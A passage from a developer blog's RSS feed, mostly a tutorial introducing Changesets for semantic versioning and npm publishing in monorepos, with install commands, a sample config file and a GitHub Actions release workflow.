&lt;p&gt;Happy coding and may your Node.js apps thrive with the power of env-schema!&lt;/p&gt;</content:encoded></item><item><title>Introducing Changesets: Simplify Project Versioning with Semantic Releases</title><link>https://lirantal.com/blog/introducing-changesets-simplify-project-versioning-with-semantic-releases/</link><guid>https://lirantal.com/blog/introducing-changesets-simplify-project-versioning-with-semantic-releases/</guid><description>A comprehensive guide to adopting Changesets for semantic versioning and publishing packages in monorepos and non-monorepo projects.</description><pubDate>Mon, 17 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As open source project maintainers, we often encounter challenges when managing project versions and releases. Keeping track of changes, ensuring proper versioning, and automating the release process can be time-consuming and error-prone. Thankfully, open-source tools have emerged to streamline this process, and one such tool is &lt;code&gt;Changesets&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another tool that enabled maintainers to automate their projects releases and tasks such as publishing a new npm package to the registry or creating a GitHub release is &lt;a href=&quot;https://semantic-release.gitbook.io/semantic-release/v/beta/&quot;&gt;semantic-release&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In fact, &lt;code&gt;semantic-release&lt;/code&gt; precedes &lt;code&gt;changesets&lt;/code&gt; and I’ve been using it for many of my projects (&lt;a href=&quot;https://github.com/lirantal/npq&quot;&gt;npq&lt;/a&gt;, &lt;a href=&quot;https://github.com/lirantal/dockly&quot;&gt;dockly&lt;/a&gt; to name a few) and it works great. It’s straight-forward to setup and configure, and it’s also very flexible and extensible. One of its main benefits is that versioning is done automatically based on the commit messages that are being pushed to the repository and follow the &lt;a href=&quot;https://www.conventionalcommits.org/en/v1.0.0/&quot;&gt;Conventional Commits&lt;/a&gt; specification.&lt;/p&gt;
&lt;h2 id=&quot;ushering-a-change-in-a-monorepo-project&quot;&gt;Ushering a Change in a Monorepo Project&lt;/h2&gt;
&lt;p&gt;I’m not a heavy user of monorepos, but I do have one open source project which publishes several connected npm packages and was built as a monorepo with &lt;a href=&quot;https://lerna.js.org/&quot;&gt;Lerna&lt;/a&gt; and &lt;a href=&quot;https://yarnpkg.com/&quot;&gt;Yarn Workspaces&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This project monorepo structure is used by &lt;a href=&quot;https://github.com/lirantal/lockfile-lint&quot;&gt;lockfile-lint&lt;/a&gt;, which helps developers mitigate supply chain security risks by detecting a &lt;em&gt;lockfile&lt;/em&gt; that has been tampered with, also known as a lockfile injection.&lt;/p&gt;
&lt;p&gt;Lerna and Yarn had both been great tools but they’ve been outdated in the monorepo. Lerna also had a lot of issues with its maintenance (&lt;a href=&quot;https://github.com/lerna/lerna/issues/1172&quot;&gt;call for maintainers?&lt;/a&gt;) which ended up as being deprecated and later on revived by the community with the help of Nx. Yarn, despite being a great tool by an awesome maintainer, had also its share of big project structures: Yarn, Yarn 2, Yarn 3.&lt;/p&gt;
&lt;p&gt;And so with that, and the fact that &lt;code&gt;lockfile_lint&lt;/code&gt; receives more than 320,000 downloads a month &lt;a href=&quot;https://twitter.com/liran_tal/status/1663174351460376579&quot;&gt;I went shopping for new, modern tooling&lt;/a&gt; to help manage project build, versions, and releases.&lt;/p&gt;
&lt;h2 id=&quot;changesets-to-the-rescue-of-monorepos&quot;&gt;Changesets to the Rescue of Monorepos&lt;/h2&gt;
&lt;p&gt;While I was happy with &lt;code&gt;semantic-release&lt;/code&gt; and still using it for non-monorepo projects, there’s no native monorepo support for it. This is where &lt;code&gt;Changesets&lt;/code&gt; shines. It addresses the complexities of managing releases within a monorepo, providing a simple and efficient solution.&lt;/p&gt;
&lt;p&gt;What is Changesets? &lt;a href=&quot;https://github.com/changesets/changesets&quot;&gt;Changesets&lt;/a&gt; is an open-source project versioning tool that focuses on automating the release process using semantic versioning. It provides a structured way to manage changes and versioning for monorepos, making it easier to maintain and release multiple packages within a single repository.&lt;/p&gt;
&lt;p&gt;With Changesets, you can define a set of changes and updates for each package in your monorepo. These changes can include bug fixes, new features, performance improvements, or any other modifications. Changesets allows you to manage these changes and automatically determine the appropriate versioning for each package based on the updates.&lt;/p&gt;
&lt;p&gt;How Changesets is different:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Monorepos: Changesets is specifically designed for managing releases in monorepos. It helps you handle the complexities of versioning across multiple packages within a single repository.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Semantic releases but loosely coupled: Semantic versioning is an important concept, but with &lt;code&gt;semantic-release&lt;/code&gt;, the version is tightly coupled to the commit messages. Changesets decouples the versioning from the commit messages, allowing you to define changes and updates separately from the commits. This is by far, the biggest change in mindset when choosing Changesets over semantic-release.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Just as with semantic-release, Changesets will seamlessly integrate with your CI/CD pipeline, whether GitHub Actions or others, allowing you to automate the process of versioning and releasing your packages. However, due to its process of requiring a “changeset” to be specified, it does require a manual intervention that triggers the release.&lt;/p&gt;
&lt;h2 id=&quot;the-core-of-changesets-the-changeset&quot;&gt;The Core of Changesets: The Changeset&lt;/h2&gt;
&lt;p&gt;At the heart of Changesets lies the concept of a &lt;em&gt;changeset&lt;/em&gt;. A changeset represents a set of changes or updates made to one or more packages within your monorepo. It captures the modifications, such as bug fixes, new features, or performance improvements, and provides the necessary information to determine the appropriate version for each package.&lt;/p&gt;
&lt;h3 id=&quot;the-changeset-workflow&quot;&gt;The Changeset Workflow&lt;/h3&gt;
&lt;p&gt;When working with Changesets, the typical workflow involves creating changesets, calculating new versions, and publishing the updated packages.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/changesets-workflow-package-versioning.png&quot; alt=&quot;Changesets workflow&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let’s dive into each step of the workflow:&lt;/p&gt;
&lt;h4 id=&quot;1-creating-changesets&quot;&gt;1. Creating Changesets&lt;/h4&gt;
&lt;p&gt;To create a changeset, you use the &lt;code&gt;npx changeset&lt;/code&gt; command. This command opens an interactive prompt that allows you to select the packages you’ve made changes to and specify the type of change:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Patch: A patch represents bug fixes or minor updates that do not introduce any breaking changes. It is denoted by incrementing the patch version number (e.g., 1.0.1 -&gt; 1.0.2).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Minor: A minor change includes new features or enhancements that are backward-compatible. It increments the minor version number (e.g., 1.0.1 -&gt; 1.1.0).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Major: A major change indicates significant updates that introduce breaking changes. It increments the major version number (e.g., 1.0.1 -&gt; 2.0.0).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additionally, you provide a summary of the changes made in the changeset, helping to document and communicate the modifications effectively.&lt;/p&gt;
&lt;h4 id=&quot;2-determining-new-versions&quot;&gt;2. Determining New Versions&lt;/h4&gt;
&lt;p&gt;Once you have created changesets for your packages, the next step is to determine the new versions for each package. This is where Changesets shines. It analyzes the changesets and intelligently calculates the appropriate version for each package, considering the type of change and the existing version.&lt;/p&gt;
&lt;p&gt;Changesets follows semantic versioning principles, which helps ensure that the versioning is consistent and meaningful. By automating this process, Changesets eliminates the need for manual versioning and reduces the chances of human error.&lt;/p&gt;
&lt;h4 id=&quot;3-publishing-updated-packages&quot;&gt;3. Publishing Updated Packages&lt;/h4&gt;
&lt;p&gt;After the new versions have been determined, you can proceed to publish the updated packages. Changesets provides a command, &lt;code&gt;npx changeset publish&lt;/code&gt;, which automates the process of publishing the packages to your configured package registry, such as npm.&lt;/p&gt;
&lt;p&gt;This command takes care of updating the package.json files of the affected packages with the new versions. It also creates Git tags for the releases, allowing you to track and reference them easily.&lt;/p&gt;
&lt;h3 id=&quot;benefits-of-the-changeset-approach&quot;&gt;Benefits of the Changeset Approach&lt;/h3&gt;
&lt;p&gt;The changeset approach in Changesets brings several benefits to your versioning and release management workflow:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Granular Control: By defining changes at the package level, Changesets allows for granular control over versioning. Different packages can have different versions based on their respective changes, providing flexibility and precision.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Clear Documentation: Changesets encourage developers to provide summaries of their changes, helping document modifications effectively. This documentation serves as a valuable resource for the project and facilitates collaboration within teams.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Consistent Versioning: Changesets follow semantic versioning principles, ensuring that version numbers convey the significance of the changes made. This consistency improves communication, compatibility, and the overall stability of your packages.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Automated Release Process: Changesets automates the versioning and release process, reducing manual effort and the likelihood of human error. With a few simple commands, you can calculate new versions and publish the updated packages seamlessly.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Easy Collaboration: By providing a standardized approach to managing changes, Changesets facilitates collaboration among team members. Everyone can easily understand and work with the changesets, ensuring a shared understanding of the project’s evolution.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The changeset-centered workflow in Changesets brings clarity, efficiency, and reliability to your versioning and release management process.&lt;/p&gt;
&lt;h2 id=&quot;getting-started-with-changesets&quot;&gt;Getting Started with Changesets&lt;/h2&gt;
&lt;p&gt;Now that you have a good understanding of Changesets, let’s explore how you can get started with it in a project.&lt;/p&gt;
&lt;h3 id=&quot;installation&quot;&gt;Installation&lt;/h3&gt;
&lt;p&gt;To start using Changesets, you’ll need to install it as a development dependency. Open your terminal and navigate to your project directory. Run the following command to install Changesets using npm:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install --save-dev @changesets/cli&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also want to have my releases published to GitHub, so if you want that too, you should also continue to install the GitHub plugin:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install --save-dev @changesets/changelog-github&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;configuration&quot;&gt;Configuration&lt;/h3&gt;
&lt;p&gt;Once Changesets is installed, you’ll need to set up the configuration for your project. Changesets provides an easy way to initialize the necessary files and directories.&lt;/p&gt;
&lt;p&gt;Run the following command to initialize Changesets:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx changeset init&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will create the &lt;code&gt;.changeset&lt;/code&gt; directory in your project, which will store your changesets. It also creates a &lt;code&gt;.changeset/config.json&lt;/code&gt; file, which contains the configuration for your project.&lt;/p&gt;
&lt;p&gt;Following is an example of a Changesets configuration file for a project that is hosted on GitHub at &lt;code&gt;https://github.com/lirantal/astro-keyboard-controls&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;$schema&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://unpkg.com/@changesets/config@2.3.1/schema.json&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;changelog&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@changesets/changelog-github&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;repo&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;lirantal/astro-keyboard-controls&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;commit&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;fixed&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;linked&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;access&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;public&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;baseBranch&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;updateInternalDependencies&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;patch&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;ignore&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;creating-changesets&quot;&gt;Creating Changesets&lt;/h3&gt;
&lt;p&gt;You create a changeset when you want to release a new version of your package. This might be after several pull requests have been made to the &lt;code&gt;main&lt;/code&gt; branch, or within a pull request itself. Either way though, the changeset needs to be created.&lt;/p&gt;
&lt;p&gt;To create a changeset, use the following command:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx changeset&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will open an interactive prompt that guides you through the process of defining changes for each package in your monorepo. You can select the packages, specify the type of change (patch, minor, or major), and provide a summary of the changes.&lt;/p&gt;
&lt;h3 id=&quot;versioning-and-publishing&quot;&gt;Versioning and Publishing&lt;/h3&gt;
&lt;p&gt;Once you have defined your changesets, it’s time to determine the new versions for your packages and publish them. Changesets offers a command that automatically calculates the appropriate versions and prepares your packages for release. This “versioning resolution” process is entirely automated by Changesets and doesn’t require you to manually intervene.&lt;/p&gt;
&lt;p&gt;Use the following command to version and publish your packages:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx changeset version&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will calculate the new versions based on your changesets and update the &lt;code&gt;package.json&lt;/code&gt; files of the affected packages. Additionally, it will create new Git tags for the releases.&lt;/p&gt;
&lt;p&gt;To publish your packages on npm, run the following command:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx changeset publish&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;automating-changesets-and-package-releases-with-github-actions-cicd&quot;&gt;Automating Changesets and Package Releases with GitHub Actions CI/CD&lt;/h2&gt;
&lt;p&gt;The manual part with using the Changesets paradigm is that you need to create a changeset for each release. However, once created, the versioning and release processes can be entirely automated.&lt;/p&gt;
&lt;p&gt;In the following example, we’ll use GitHub Actions to automate the package versioning and publishing. We’ll use the official &lt;code&gt;changesets/action&lt;/code&gt; GitHub Action, which basically does the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Detects if there are any changesets to be published (that are stored in the &lt;code&gt;.changeset&lt;/code&gt; directory of the repository. Yes, they need to be committed to the repository in-case you missed that).&lt;/li&gt;
&lt;li&gt;If there are changesets, it will run the &lt;code&gt;version&lt;/code&gt; command to update the semantic version on packages in this repository, altering their &lt;code&gt;package.json&lt;/code&gt; field and next continue to run the &lt;code&gt;publish&lt;/code&gt; command which will publish the packages to the configured package registry (e.g. npm).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here’s the YAML configuration for the above described GitHub Actions workflow:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;release&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;branches&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;concurrency&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;${{ github.workflow }}-${{ github.ref }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;jobs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;release&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;contents&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;       &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# to create release (changesets/action)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;issues&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;         &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# to post issue comments (changesets/action)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;pull-requests&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# to create pull request (changesets/action)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;timeout-minutes&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;runs-on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;steps&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;actions/checkout@v3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;actions/setup-node@v3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;node-version&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;18.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;install dependencies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;npm ci&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Create Release Pull Request or Publish to npm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;changesets/action@v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;publish&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;npm run release&lt;/span&gt;&lt;/span&gt;
